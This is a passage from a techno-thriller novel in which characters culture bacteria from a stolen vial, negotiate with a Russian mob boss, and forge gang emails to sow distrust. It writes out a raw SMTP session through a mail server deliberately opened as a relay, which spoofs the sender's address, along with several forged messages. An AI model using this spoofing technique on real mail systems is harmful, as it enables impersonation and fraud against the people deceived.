“See if you can find a Pyrex bowl in the kitchenware section. At least a quart. With a lid. And grab a measuring cup while you’re there. And an oven mitt.”

Danny seemed bewildered. “What’s all that for?”

“If we’re lucky,” Tina answered, “Nat might find us an autoclave at the hospital. If not, we’ll just take our chances with her stove. Lord knows it’s never been used for cooking.”

Danny didn’t bother asking what an autoclave was. He shrugged and began wandering the store looking for the kitchen section and picking out the items she needed, obeying Tina’s commands without any real understanding about why. He felt disoriented, out of his element, and just a little bit intellectually jealous.

He found her in a nearby aisle, and dropped his materials into the basket. “What else do we need for this soup you want to make?”

“Lysogeny broth,” she corrected. “We’ll need salt, tryptone, and yeast extract.”

“You’ve done this before, haven’t you?” he asked with a grin.

Tina blushed. “It’s easier than it looks. The trick with biology is that these things *want* to work by themselves. Living things are self-correcting. It’s called homeostasis. If you have a biological process and something goes wrong, it usually breaks in a way that compensates for the damage.”

“Yeah, in engineering we call that a robust failure mode,” said Danny. “It’s a form of fault tolerance. If a component fails, the other components of the system not only compensate for the failure but actually help get the failed component working again.”

“Yeah. In nature, everything’s built that way,” said Tina. “Left to its own devices, biological systems always find a way to make things work. Life’s a lot less fragile than most people think. Humans have been building machines for about five thousand years. Cellular life has been self-replicating for about three and a half billion. It’s probably doing something right.”

Danny felt both inspired and intimidated. “So, what were those other ingredients again?” he asked, deflecting his attention to the task at hand.

“Table salt, tryptone, and yeast extract.”

“I know what table salt is. The other two... Um, is there a Lab Chemicals aisle here?”

“They’re just fancy names for bacteria food,” said Tina. “Lysogeny broth is just a mixture of fairly common stuff that happens to be super nutritious for a growing young bacterial colony. Yeast extract is rich in glutamates for building new proteins, and nucleotides to give the bacteria raw materials for replicating their DNA so they can multiply. And the other stuff, tryptone, that’s just a big pile of amino acids that come from the breakdown of dairy proteins... Whaaat?” she suddenly asked him self-consciously.

“What what?” Danny asked, bewildered.

“You’re looking at me like you want to say something,” she said.

“Heh, it’s nothing. I’m just... impressed.”

She met his gaze again with a look that cut his breath short — her unkempt black hair falling around her face, her dark eyes looking mischievously at him. Her tiny nose stud glinted in the bright fluorescent light.

“You... You really think I’m good at this stuff, don’t you,” she said to him.

He noticed the slight quiver in her lower lip underneath her smile.

Danny’s mind instantly offered up a thousand different things to say to her in response. Every single one of them sounded wrong.

The awkward silence between them grew unbearable. “So. Amino acids, right?” he said abruptly.

“Yeah...” she said.

“I have an idea. Follow me.”

He led Tina to the Diet Supplements aisle. There, amidst white bottles filled with pills of calcium and zinc and vitamins, were tubs of powdered bodybuilding formulas, with names like “Cyto Gainer”, “Muscle Milk”, and “Amino Fuel”.

Tina’s whole face lit up at the sight. “Danny, you’re a freakin’ genius!” Tina gleefully reached up to pull down a tub labeled “Complete Casein”. “Ohhhhhhhh man, they are going to love this shit!” she said as she read the nutritional information on the back. She took the vial in one hand and wiggled it toward the tub in the other, saying, “Right, little guys? You want some casein? Some nice tasty casein? Yes you do! Oh yes you do! And maybe some B-complex gel-caps? Yeah? Good little *E. coli*!”

Danny smiled warmly at her antics.

“Sterilization is going to be really tricky, though,” Tina mentioned pensively. “There’s all different kinds of bacteria around us all the time — in the air, in the water, everywhere. If any random bacterium gets into the lysogeny broth, it’ll multiply in there along with our *E. coli* strain, and it’ll compete for the broth’s nutrients. Normally, when people do this in a lab, the *E. coli* is intentionally given resistance to some specific antibiotic, and the lysogeny broth is infused with that

antibiotic, so only our strain can survive in there. We can't do that here because we don't know what antibiotic these guys were bred to be resistant against, if any. But if we're lucky..."

He listened to her talk, reeling with admiration. She stood there in the aisle, shopping basket in one hand, purse in the other. Hair dark and haphazard. A small, unassuming stud glinting on the side of her nose. And a gleam of competent determination in her eyes.

She paused for a moment. "Hey Danny."

"What?"

"You're looking at me like that again," she said with a tone that made it clear that she rather liked it.

His mind filled with a thousand possible responses.

He mustered up his deepest reserves of confidence, leaned toward her, and said suavely, "Yeah, I am. What are you gonna do about it?"

"I was actually wondering," she said as she took a step toward him and looked up into his eyes, "if *you're* going to do something about it."

He reached his hand out and placed it on the smooth curve of her waist to pull her closer. She eagerly pressed her body against his. The feel of her toned midsection hit his veins like a shot of opium, sending his head spinning in blissful delirium. He drew his lips down toward hers. She reciprocated, reaching up to slide her hand across the back of his neck, and guided his face down to meet hers.

He watched himself kissing her in an out-of-body experience, the camera of his eye circling around them. The music on the speaker system of the Rite Aid serenaded them with the guitar-backed strains of punk-pop love ballad. Bystanders started applauding. The credits rolled, and they lived happily ever after.

None of that happened.

She had said, “You’re looking at me like that again,” with an inviting smile, her bright eyes looking expectantly at him. He knew he should act. He told himself to act. But he found himself merely standing idly like a dunce, feeling the moment slip away.

The awkward tension was broken by an explosion of noise from Tina’s purse.

They both looked in surprise at the bag. From the purse flowed music — a tinny pop song sung in a foreign language.

Perplexed, Tina quickly rummaged through her purse.

“Oh. Heh. It’s that Eugene guy’s cellphone,” she said. “That’s his ring tone. Check it out.” She held the phone so Danny could see the screen lighting up with, “Sergey”.

Danny’s eyebrows furrowed in confusion. “Uh, no... That can’t be right...”

“Why?” she asked innocently. “What’s wrong?”

“I get that the phone would recognize the incoming number and display the contact’s name...” Danny said, mostly to himself. “But how would it... Tina, you didn’t put the... thing in the thing... did you?”

“The what?”

Danny reached his hand into his pocket. He felt the small SIM card he had pulled from the Russian’s cellphone. His face went ashen.

“Jesus, Danny, what is it?”

“Your SIM card’s still in that phone,” he said in horror.

The music stopped.

“So?” she asked.

“The SIM determines the phone’s subscriber account,” said Danny. “Your phone number goes where your SIM goes.”

Tina stared at the phone. “Wait. Wait a minute. So what you’re saying...”

The music started again.

“This Sergey guy isn’t calling Eugene,” said Danny. “He’s calling *you*.”

The blood left Tina’s face. As the phone continued ringing, she just stood there looking at it with wide eyes, not moving, not breathing.

Finally, she decided to press a button. The music stopped.

Slowly, robotically, she brought the phone up to her ear, and trembled out, “Hello?”

Danny could only barely hear the other side of the conversation. He could make out a male voice with a foreign accent.

Tina said into the phone, “I’m... I’m sorry.”

The voice said something in response.

“No,” Tina replied meekly. “I haven’t gone to the police yet.”

The voice spoke again.

“Yes, I still have it,” she said. “But it’s been thawed out, and...”

The voice cut her off.

“Look, you can *have* it for all I care,” said Tina. “I have zero interest in...”

The voice interrupted her.

“No, I didn’t swap it!” Tina protested. “Or contaminate it, or damage it, or...”

The voice barked something at her.

“Proof? Um, I promise?” Tina offered. “What kind of proof do you want? I don’t...”

The voice grumbled.

“What? No! I can’t ...” Tina insisted. The voice responded. As it talked, Tina gasped and began to cry. “No! Please, you don’t have to...” The voice kept talking. “No!” Tina choked on a scream.

The voice said something.

“...I understand,” Tina whimpered.

The voice made a few statements.

“I...” She paused for a long time. Finally, empty, she said, “Okay.”

The voice issued a gruff response. Then, after a pause, it said something else.

Tina looked up at Danny. She slowly pulled the phone away from her ear and extended it out to him.

“He wants to talk to you,” she whispered.

Danny blinked. “Wait, what? To *me*?”

Tina nodded slowly, her eyes blank.

“How the hell...?” Danny protested.

“He said he wants to speak to the man with the electric gun.”

Danny took the phone from her. “...Hello?”

The voice, deep and resonant with a Russian accent, said, “I understand you are responsible for interrupting our operation and damaging my men’s equipment.”

Danny took in a sharp, aggressive breath. “What do you want?” he said tensely.

“For start,” said the voice, “you owe me new Tesla Roadster.”

DOPAMINE

15

PAIN ENVELOPED MIKE LIKE A COCOON. It robbed him of all sense of time, space, or direction. He felt like he was floating in the dark womb of some alien beast. He sat propped up in his hospital bed with his wounds dressed in gauze, talking with his friends, enduring the exhaustion and the delirium, counting the hours until Natalie and the nurses would finally tell him it's okay to sleep.

He was aware of everything. The short drive to the hospital. The wait in triage. The taking of his temperature and his blood and the lights being shined in his eyes and nose. The CT scan. The pills and the needles.

And the pain. At first he had felt it acutely in his face, in his ribs, in his foot, in the back of his head. But it diffused slowly, until eventually he simply felt it everywhere, inside and out. It sent his mind reeling, almost like a drug high. The agony was borderline euphoric.

“It’s your endorphins kicking in,” Natalie had said. “They work on your brain like morphine. That’s where the word ‘endorphin’ comes from, you know — ‘endogenous morphine.’ It’s basically heroin that your body makes naturally. Your body’s protecting itself. Making the damage a little easier to bear.”

“Natalie...,” he asked. “Why are you being so nice to me? We just met.”

“Yeah, but I... Uh... You seem pretty cool,” she said, blushing.

Natalie’s attention was taken away by a shadow on the other side of the hospital bed’s privacy curtain.

“Doctor Rosenbaum?” said the voice of a young and harried nurse. “Can I speak to you for a minute?”

Natalie squeezed Mike’s hand. “I’ll be right back, Mike. I have to take care of some paperwork.” She looked at his gamer buddies. Jason was in a corner talking quietly on his phone, and Satish and Moshen were oblivious to anything beyond their laptop screens. “Guys. Keep him talking, okay?”

Mike watched Natalie disappear behind the curtain. He heard her and the nurse discussing hospital business in hushed tones. Their voices slowly receded beyond a dark veil of delirium, gradually growing echoing and distant.

“Mike! Mike, wake up!” Satish’s voice jarred him. “No sleeping!”

Mike groaned back to alertness.

Moshen poked him in the shoulder. “Miiiiike’s got a giiiiirlfriend,” he sang quietly.

Outside the privacy curtain, a few people approached, talking in distressed tones. As they got closer, he recognized one of the voices as the girl from the Tungsten building.

It was Tina. She was sobbing.

“They know everything about me, Nat,” she was saying, her voice froggy. “They busted into my car. It was still sitting in the Tungsten parking lot. They got the registration and insurance papers and whatever else was in there. They know my address, my phone number, my Social Security Number...”

A shadow crossed the curtain and pulled it aside. Danny approached Mike’s bed, carrying plastic bags from Rite Aid. Natalie and Tina followed.

“Jason...” Danny said tensely. “I... I’m gonna need hazard pay.”

“What the hell is going on?” Jason said.

“The Russians called Tina,” Danny answered.

“Called *her*?” Jason repeated.

Tina said meekly, “They want me to help them incubate the stuff in the Eppendorf tube. They told me to meet them at my apartment in one hour, ‘or else.’”

“They think you can incubate it for them?” Jason asked with keen interest.

“Yes. Geez. It’s just *E. coli*. The incubation part is easy,” Tina said. “It’s figuring out what the hell to do with them once they’re grown that’s the hard part. You incubate them, you get a warm tub full of brown goo. Great. What do you do with *that*? I don’t know how the hell they expect me to figure that out. The only person who knows that, is Julie.”

“Julie Yen?” Jason asked.

Tina eyed him suspiciously. “How do you know Julie?”

Jason ignored the question. “Christina, is Julie working for these Russians?”

“I don’t know,” said Tina. “When that guy was holding me at gunpoint, he said some stuff that made me think she’s not exactly with them willingly.”

“And they’re trying to threaten you into ending up like her?” Jason asked.

Tina nodded meekly.

Jason rolled his eyes. “Pffft. Amateurs.”

“Come again?” Tina squeaked.

“Listen,” said Jason. “You actually hold a lot more cards than you think you do. A party only resorts to threats if they have nothing of value. If the first instinct of these Russians is to go straight for your jugular, then they’re approaching the negotiation from a position of weakness.”

Tina stared at him incredulously. “You’re saying the mob is in a ‘position of weakness’?”

“Oh, absolutely,” said Jason. “Think about it. They’re a criminal organization that’s at constant risk from both rivals and law enforcement. They have a lot to lose. I promise you, they give off the impression of being big and tough, but they’re a lot more scared of you than you are of them.”

“I highly doubt that,” said Tina.

“They’re issuing threats just to get you to the bargaining table in the first place. Their BATNA must be absolutely terrible.”

“What the hell is a BATNA?”

“A Best Alternative To a Negotiated Agreement,” Jason answered. “It’s your fallback strategy. Believe me, this stuff I know. I may be out of my league when it comes to tech, but they do teach you something in business school school, after all.”

“Christ,” Tina cried. “You’re talking business school lessons? We’re not dealing with a business here! We’re dealing with the mob!”

Jason smiled. “What do you think the mob is?”

Tina stared at him in silence.

“Trust me,” said Jason, his tone steady. “Whatever else may be true about them, they’re rational players. They have to watch their bottom line, just like anybody else. I didn’t get rich by playing the lottery; I got rich by understanding what people want. So let’s try and understand these guys, okay? What do we know about them? What can we deduce about their needs, their risks, their motivations? Anything?”

Danny, standing nearby, smiled a wide grin. “I know a thing or two about them.” He pulled a cellphone out of his pocket and handed it to Jason.

Jason looked at the screen, perplexed. “What am I looking at here? An online bank statement? ...Hmmm... It’s pretty fat... Who’s ‘Eugene Mukhayev’? And how are you seeing his... Oh... Oh! Oh holy shit!”

Danny let out a peal of maniacal laughter.

Satish and Moshen looked over excitedly. Mike craned his neck to look at the phone. Jason showed the screen to the men. Hoots and high-fives were exchanged.

“Guys, a lot of the emails are in Russian,” said Danny. “Could you guys run them through an online translator?”

Moshen took the phone. “No problem, Danny,” he said, and twirled back to his laptop.

Jason nodded approvingly. “Listen, guys, we’ve got them by the balls and they don’t even know it. We have everything they want, *and* we have leverage to make sure they play fair. Now, Christina, I can get you out of this. Do you trust me?”

“I don’t have much choice, do I?” she replied.

Jason extended a hand out to her with his palm up. “The vial, please.”

She shot him a look of suspicion so hot it could’ve ignited his gelled gray hair.

“It’s either me or the Russians.”

She grudgingly pulled the vial out of her purse and put it in his palm. Jason’s fingers curled firmly around it like the fronds of a carnivorous plant.

He turned and said, “Moshen, can I have that phone when you’re done with it?”

“Take it,” said Moshen. “I’ve already forwarded all the emails to a disposable anonymous Yahoo account. I’ve got them all on my laptop now.”

Jason took the phone and poked at it. “Christina, is ‘Sergey’ the guy that called you?”

Tina nodded.

“Alright, guys. I’m going to have a little chat with this Sergey fellow. And I’m going to do it on speakerphone, so I need all of you to be quiet.”

Jason stretched in his chair, cracked his knuckles, took several deep breaths, laid the phone on a counter next to Mike’s bed, and placed the call.

It rang.

A deep, resonant Russian voice rose from the cellphone. “Miss Giordano. I hope for your sake you are back in your apartment already.”

Jason leaned into the phone and said, quietly but confidently, “Sergey, I presume. You won’t be dealing with Miss Giordano anymore.”

The voice responded slowly. “Who is this?”

Jason replied, “Listen, Sergey, I have a small vial filled with brown sludge. I’ve been told you’re interested in it. Maybe we can make a deal.” His tone was upbeat and friendly, like a salesman on a used car lot.

The voice paused. “What is your name?”

“Oh, come now, Sergey!” said Jason with good humor. “Why would you ask that?”

“You tell Miss Giordano,” said Sergey, “that, whoever you are, she make huge mistake involving you in this.”

Tina’s eyes grew watery. She leaned against Natalie and struggled to remain silent.

Jason simply laughed. “She doesn’t know me, Sergey. She didn’t give me the vial by choice. Or this telephone, for that matter. Let’s just say I’m not a friend of hers.” As Jason talked, it became obvious why he preferred speakerphone; he gesticulated flamboyantly with his arms, making wide, dramatic gestures.

Sergey grumbled, “You tell that girl that I make it *her* problem to find out who you are. This changes nothing. I know her name and information, I can very easy to find her friends and family. She knows what will happen if I don’t get vial one way or other.”

Jason’s voice dropped. “Oh, Sergey, no. No. Come on. First of all, she has no contact with me. She has absolutely no way of giving in to your demands. Threatening her is only going to waste your time and put your manpower at unnecessary risk. And second... Look, Sergey, I know you’re not exactly in a very, shall we say, ‘wholesome’ line of work. But really? Making threats against young women, scaring them half to death? Is that how you manage your business? I’m sure you’re better than that. You’re obviously a man of power and stature. Don’t you feel like that kind of conduct is beneath you?”

Jason breathed deeply and silently through a long pause from Sergey's end of the line. Finally, after several endless seconds, Sergey said, "Do you have a daughter?"

Jason thought before answering. "I do, as a matter of fact," he said, his voice jovial but his face grim and calculating. "And I've got a son that just gave me a granddaughter."

Jason's friends shot him a look of horror at Jason's willingness to reveal information about his family. Jason raised a palm reassuringly.

"You are a very blessed man," Sergey said quietly. "I have a daughter as well. And I used to have a son."

Jason said nothing in response. He let the line endure a few tense moments of silence.

Sergey's slow, methodical baritone finally resumed. "If you do have the vial, then you should know that what is inside is very fragile. If you wish to do business with me, I need to have assurance that it is the vial I want, and that it still works."

Jason said eagerly, "Makes sense to me, Sergey. Maybe if you give me instructions for processing it, I could run it through a test pass and make sure it works right for you. That sounds good, right?"

Sergey let out a cynical laugh. "I could not give you instructions even if I wanted to. This is not tiny pieces of Ikea furniture inside that vial. This is living crop. To raise it takes skill and training. You need to know what kind of food it needs, how much air and water to give it, how to protect it from getting sick. I am told that if it is not kept frozen, then it is probably sick already. You have not much time before it dies. Better for you if you just give it to me for safekeeping right away. Then we can discuss payment once vial is secure with me. Good plan, yes?"

"Oh, the vial looks perfectly fine to me," Jason countered. He didn't actually look at the vial, which remained engulfed within his fist. "What makes you think it'll get sick?"

"Very simple. I have the scientist who created the... the mikrobi," said Sergey confidently. "She is working for me. She is very familiar with crop and has made many batches with it."

"This would be Julie Yen, I take it?" Jason said cautiously.

"You know of Miss Yen?" Sergey responded.

"Suppose I do," Jason said.

"Well then you know," replied Sergey, "that the vial is useless without her."

Jason looked lost in thought for a moment. "Sergey... What kind of terms would you suggest for a, uh, rental, of sorts, of Miss Yen's time?"

Sergey replied coldly, "That is not on the table."

"I can be very generous..."

"Miss Yen's expertise is not for sale," said Sergey.

"We must be able to work something out," Jason insisted.

"No," Sergey spat. "No contact with Miss Yen. This is not an option. Do I make myself clear?"

"Crystal," Jason said flatly, almost belligerently.

And with a press of a button, he abruptly ended the call.

All eyes in the room stared at Jason in stunned silence. Jason said nothing.

The phone began to ring. Jason immediately hit, "Ignore."

Suddenly, he announced, "Moshen!" The kid snapped to attention. "What do the emails say anything about this Julie Yen girl?"

"They don't say anything about any Julie Yen by name," Moshen answered. "But I've learned about six different ways in Russian to say, 'Oriental whore.'"

"What have you been able to learn so far?" Jason asked.

“Not a ton,” Moshen replied. “There’s as much English and Spanish as there is Russian in these emails. And my Spanish sucks, and the English is really, really bad English. It’s all ghetto slang and, like, innuendoes and shit.”

“Hmm.” Jason nodded knowingly. “Spanish, and gangbanger English... Let me take a guess. All the Russian-language emails are among a small tight group of people, and it’s mostly talking about high-level strategy and probably a bunch of family matters, right? And then everything else is in Spanish and English, and it’s all very short and specific, mostly giving orders and demanding status reports.”

Moshen nodded. “...Yeah. Yeah, I’d say that actually sums it up.”

Danny, from the side, chimed in. “So, wait, I get it. Their inner circle is all the same Russian family. But their foot soldiers are just random thugs that they hire from around the neighborhood, and it’s these, sort of, low-level employees, I guess, that do most of the day-to-day work. Right?”

Jason nodded. “Exactly. Moshen, do they say where they’re keeping her?”

“Not quite,” Moshen said. “They mentioned something about making her set up a factory in a rented warehouse space. Or set up a warehouse in a rented factory space.”

Danny suggested, “You know, that phone has GPS...”

Jason passed the gangster’s cellphone to Danny. “Can you see where he’s been?”

Danny gave the phone a few quick pokes. “AT&T Navigator... Recent Places... Done.” He turned the screen back to Jason.

Jason looked at it. “Promising, but there’s over three dozen addresses in that history list. Can we narrow it down?”

“Moshen...” Danny handed him back the phone. “Hop on Google Maps and start looking up these addresses, ok? They said they’re going to make her work at a factory or warehouse, right? Use Satellite View to check which of these are in industrial zones.”

Moshen got to work.

Danny turned back to Jason. “So... Assuming you do find this Julie girl, what’s your plan? We can’t exactly just drive over there and ring the doorbell and be like, ‘Hi! We’re here to pick up the girl!’ Do warehouses even have doorbells?”

Jason nodded. “I know. It’ll be tricky. I’m hoping I might be able to find a random low-ranking worker and bribe him.”

Danny shook his head. “It’d have to be one hell of a bribe, Jason. A guy like that could end up at the bottom of Puget Sound.”

“Yeah, I’d have to make the payout big enough to be worth the risk,” Jason said sourly. “And besides, if they thought one of their own was on the take, all hell would break loose. I don’t know exactly what the Russian mafia’s disaster plan is

for internal espionage, but I've seen what happens at companies when management thinks some employees might be secretly working for a competitor. It isn't pretty."

Danny looked away pensively. "What if..."

"What if what?" asked Jason.

"What if that was the point?" Danny offered.

Jason cocked his head. "Not following..."

Danny turned to his fellow computer geeks. "Guys. Listen up. Do any of you happen to have admin privileges on an SMTP server?"

Mike stirred. Slowly, feebly, he raised one hand.

Danny smiled. "Of course. From your Cisco certification classes."

Mike nodded. "The teacher gives us a couple of servers to play with," he said softly.

Danny replied, "Can you configure it to bypass all authentication mechanisms and function as an open mail relay?"

Mike furrowed his large brow. “Yeah, but we’re not supposed to do that. The very first thing we learn in the unit on mail servers is how to *prevent* them from running as open mail relays.”

Danny grinned. “And why exactly is that?”

“Because open mail relays are very bad things,” Mike answered simply.

“Spammers from all over the world constantly search the Internet looking for them. Open mail relays are where all those spam messages for penis enlargement pills and herbal Viagra and discount mortgages and shit come from.”

“Yep. And why do spammers need open mail relays for that?” Danny asked Socratically.

“Because open relays are completely anonymous,” Mike answered, just barely managing a shrug. “An open relay doesn’t verify the source of the message. It just forwards everything stupidly along.”

An evil grin consumed Danny’s face. “Exactly. So, if we wanted to forge a bunch of emails from the Russian mob guys to their foot-soldiers...”

Mike widened his eyes. “...We’d need an open mail relay!”

Eagerly, the large scruffy man grabbed a laptop. The computer seesawed on his lap as he punched his fingers against the keyboard.

DOPAMINE

```
telnet localhost 25
```

The terminal window replied:

```
220-mail46.cisco.bellevuecollege.edu ESMTP Exim 4.69 #1
220-This computer system is solely for use by Bellevue
220 College staff and students enrolled in classes for
220 Cisco Certified Network Administration certification
220 exams.
220-We do not authorize the use of this system to
220 transport unsolicited, and/or bulk e-mail.
```

The empty cursor blinked alone on the blank line below the message. Mike knew that it was waiting for a few words of SMTP, the primitive language spoken by mailservers since the dawn of the Internet. He answered it in kind, and he and the computer enjoyed a short and to-the-point conversation.

```
MAIL FROM:sergey@pash.ly
```

```
250 OK
```

```
RCPT TO:eugene@pash.ly
```

```
250 Accepted
```

```
DATA
```

DOPAMINE

354 Enter message, ending with "." on a line by itself

To: "Eugene <eugene@pash.ly>"
From: "Sergey <sergey@pash.ly>"
Subject: This is a test
Mary had a little lamb, whose fleece was white as snow.
.

250 OK id=1Kervv-0002Di-VE

“What happens now?” asked Jason.

“The message has to bounce around the intertubes for a bit,” said Mike.

“Does that take long?”

In reply, the Pantech chirped. Mike glanced at the screen and proudly held it up to Danny. Danny took the phone from Mike with a look of exquisite approval.

Satish eyed Danny reproachfully. “What kind of plan is this, Danny? So, you can forge their emails. So what? How do you think that helps you?”

Danny replied, “Two words for you, Satish.”

“And those would be...?”

“Byzantine General.”

Everyone except for Danny and Satish exchanged quizzical glances.

“What about it?” Satish asked defiantly.

“You know how to break a Byzantine army, right?” Danny goaded.

“Sure. Yeah,” Satish countered. “What’s your point?”

“Now that we can forge their emails, we can induce a Byzantine failure mode,” Danny replied.

“In what?” said Satish. “In their mailserver?”

“No,” Danny said, beaming wickedly. “In their foot-soldiers.”

Satish shook his head, aghast. “You’re insane.”

“Yep!” Danny said proudly. Turning, he asked, “Moshen, do you have a street address for us?”

“I think so, Danny.” Moshen turned his laptop around. A satellite image took up the entire screen, showing an overhead view of Seattle’s long southward stretch of shipping yards lining the silty gray runoff-thickened waters of the Duwamish River. “I’d say that looks like an industrial zone, right?”

DOPAMINE

“Danny,” Jason asked, “what the hell is this Byzantine General thing?”

“So glad you asked!” said Danny. “Grab your car keys. I’ll explain on the way.”

16

ONCE UPON A TIME, THERE STOOD A BEAUTIFUL CITY of alabaster towers and golden spires, known throughout the world for its wondrous riches.

And one day, an unscrupulous lord of the neighboring Byzantine Empire cast his covetous eyes toward the city and its troves of wealth.

Many times through its history had this city known war, and never had it fallen. Yet it wasn't the city's marble walls that thwarted its foes. Rather, the city's enemies invariably met their end through the surgically precise work of a small corps of elite spies. This inscrutable team of cunning warriors, wielding information itself as a weapon, was capable of bringing armies to their knees without ever letting loose a single ballista bolt.

And so it came to pass one night that the city's watchmen saw the face of the distant westward mountains aglow with the speckled lights of thousands of campfires. The next day, the dust of many tens of thousands of marching boots clouded the sun over the land's fertile fields and the rumbling crescendo of their

advancing footfall shook the gilding of the city's temples. The wooden forms of great siege engines crested the gentle bluffs near the city's gates and trebuchets were unpacked upon hilltops. An immense army of iron-helmed soldiers stood menacingly in the thick dusty air around the city walls beneath the tall angular shapes of towering war machines. This army's General, the Byzantine lord, called out and demanded unconditional surrender.

The city replied by letting fly a hail of soft-tipped arrows, each gull bearing a note telling the invaders to go home and save themselves.

The Byzantine General vowed to attack at dawn, and withdrew to his bivouac to plan the assault.

And the city mobilized its spies, who eagerly began their work of precise destruction.

The spies learned very quickly that the Byzantine General communicated with his lieutenants through a network of dozens of pages, who sped across the battlefield on horseback delivering orders. It would be trivial to disguise a few defenders as pages and send his lieutenants false commands. The General's control of his own army was at their mercy.

The spies also learned that the Byzantine General didn't trust his lieutenants, who were all as avaricious and opportunistic as he. He believed that the agents of the city would try to bribe his lieutenants, and any number of such attempts might prove successful. He knew, therefore, that he had to prepare not only to

fight the forces of the city, but possibly to fight legions of his own army. Any rear guard, any flank defense, could turn against him at any moment. The Byzantine General knew he had to be prepared to handle such an eventuality swiftly and decisively.

Yet he also knew that the city's spies would try to exploit his paranoia. He knew that they would try to convince him that a loyal legion had turned treacherous, thus tricking him into butchering his own men over a lie.

The Byzantine General sat in his tent, deep in thought, devising a battle plan unlike any in the history of war. The plan would have to account for every contingency, including flaws in the plan itself and for mistakes or misinterpretations among his lieutenants. It would have to keep working even over a network of pages that could be hijacked at any point. It would have to function even in the face of internal sabotage, yet remain resilient against a false alarm. And above all else, it had to end in victory.

He sat in his tent, deep in thought.

Fortunately, the Byzantine General had read the solutions put forth by Lamport, Shostak, and Pease in the July 1982 issue of *Transactions on Programming Languages and Systems* by the Association for Computing Machinery. He implemented a recursive distributed vote-driven decision algorithm that

remained robust up to a maximum traitor count of $t < n/3$. The city crumbled before him. Its gold was plundered, its fields were sown with salt, and its name was erased from history. The end.

“Wait, *what?*” said Jason.

“Yeah, I know,” said Danny. “A recursive voting system sounds seriously inefficient, right? But it’s really not that bad, because you can distribute the recursion. The runtime is actually a mere $O(n \log n)$ if it’s done right. And with public-key encryption and a good certificate revocation scheme, you can have linear runtime and tolerance against an arbitrary number of traitors. Pretty cool, huh?”

Jason shook his head. “I think you lost me somewhere between ‘trebuchet’ and ‘algorithm’.”

“It’s an extended metaphor,” said Danny. “A mental model for how we should design networked computer systems. We learn about it in graduate seminars on distributed computing. The pageboys are like network connections, the lieutenants are like nodes, and the battle plan is a computer program.”

“And the spies are hackers, right?” Jason said.

“Of course,” said Danny. “And the hackers can inject messages into your network, or even take control of some of your nodes.”

“And what exactly is the city supposed to be?” Jason asked.

“It’s... um... it’s... Actually, I have no idea.”

“What do you mean?” Jason said. “The city’s got to represent something.”

“Probably,” said Danny. “But the city’s not important in the analogy.”

“The city’s not important? It’s the whole point of the invasion!”

“The battle plan is the important part,” Danny countered. “That’s the part with the math.”

Jason laughed at him. “A fat lot of good a battle plan does you if you don’t know what you’re fighting for.”

“I think you’re missing the point of the analogy.”

“I think the analogy misses the point of itself,” said Jason.

The two of them sat in Jason’s bullet-pocked Lincoln Navigator, parked behind a chain-link fence in a gravel-strewn lot along Seattle’s southward industrial expanse. Around them sprawled blocks of vast squat storage spaces known as “fulfillment houses”, the integral middlemen who ensured that every cardboard-

boxed package ordered by customers of Amazon or Microsoft or Nordstrom would get to its delivery address. To the north loomed the immense steel container cranes of the Port of Seattle, each one an Erector-set structure standing thirty stories tall. This sector of the city was alive even at this time of night; the enormous metal arms of the container cranes swung over cargo ships, the BSNF railroad rumbled, and trucks docked in the fulfillment houses' loading zones like bees at a hive. Underlying the Emerald City's success as a hub of technology was simple geography — her location on the shores of the natural harbor of Elliott Bay. She was, first and foremost, a port city, and every night ten million consumer goods had to roll out by sunrise.

Danny sat in the passenger seat, looking at his cellphone and giggling. Moshen was sending him forwards of every email, keeping him in the loop. Danny had a front-row seat to the chaos that Mike, Moshen, and Satish were sowing at that very moment.

```
From: Eugene <eugene@pash.ly>  
Subject: Phone burned  
Hey guys. Lost my phone. Sorry. Burn the number.
```

That email had been real. Eugene had sent it about a half hour prior. It was delivered to a long list of recipients, many with Spanish names, many just initials, and a few with ridiculous monikers like “4 Shizzy” or “Wheel Bone” or “Booty Fresh”.

DOPAMINE

```
From: Eugene <eugene@pash.ly>  
Subject: Phone NOT burned. WTF?  
Guys, I DID NOT send that last email. My phone is fine. Who the F  
sent that email? If it was one of you guys, you are in big trouble.
```

That had been the first of the forged email messages, sent to the same distribution list as Eugene's original real one.

"Why would you tell them that?" Jason had asked when the hacker crew sent it out.

"The trick to inducing a Byzantine failure mode is to get the nodes to trust messages that they shouldn't, and to distrust messages that they should," Danny explained. "Part of that involves casting doubt on the messages that are intended to maintain the cohesion of the message distribution system itself. In PKE, we'd call this a certificate reissue forgery."

"But now they know there's a hacker among them," Jason had pointed out.

"Let them. Exposing that fact helps sow distrust among their ranks."

```
From: Eugene <eugene@pash.ly>  
Subject: Phone burned. Burn this email address.  
I lost my phone and some asshole who found it is pretending to be  
me. Burn my number AND ignore all other emails from this address.  
Its not a big deal, it was just a burner phone, nothing to worry,
```

DOPAMINE

```
didn't have annything important on it.. Will change my email  
password soon as I can. For now if you want to talk to me, talk to  
Leo.
```

“Of course, if he changes his password, that won’t matter to us at all,” Danny had said. “We’re not logging in as him in order to send these emails. What we’re doing is telling the mailserver at Mike’s college that these emails have already been sent. Then that college mailserver is passing along the message to all the mailservers of all his recipients. It’s as though we’re planting letters directly into a mailman’s truck.”

```
From: Sergey <sergey@pash.ly>  
Subject: Phone is fine but email is compromised  
Guys, this is Sergey. Look, Eugene's phone is fine, we have it  
right here. But obviously someone got into his email so burn his  
email.  
-Sergey
```

Fake as hell. In retrospect, Danny considered that maybe they shouldn’t have used the word “compromised” when any normal human being outside the world of computer geekdom would say “hacked” or “stolen” or “broken into”.

```
From: Sergey <sergey@pash.ly>  
Subject: I DID NOT SEND LAST EMAIL
```

DOPAMINE

This last emial saying Eugenex phone is fine, this was not me.
Changing my password right now. DO NOT CALL EUGENE, DO NOT EMAIL
EUGENE. BURN EUGENES CONTACT INFO RIGHT NOW. SOS.

Real.

From: 4 Shizzy <4shizzy@yahoo.com>
Subject: I call you aint answering
Yo dog I trying to call u n figur out wtf goin on what gives? I've
got a whole ki right here need to MOVE!

Real. Of course this 4 Shizzy person hadn't gotten through to Eugene — the
Russian's SIM card was still in Danny's pocket. However, this email had given the
guys an idea...

From: X D <xavierdaniels1989@yahoo.com>
Subject: Just talked to Eugene
Dunno what all the craziness is all about, I just taked to Eugene
on the fone and he seems fine. He told me it's Sergey's phone
that's stolen.

Fake. This X D guy was just some random name from the Russians' distribution
list. The Russians responded to this news with....

DOPAMINE

From: Sergey <sergey@pash.ly>
Subject: Re: Just talked to Eugene
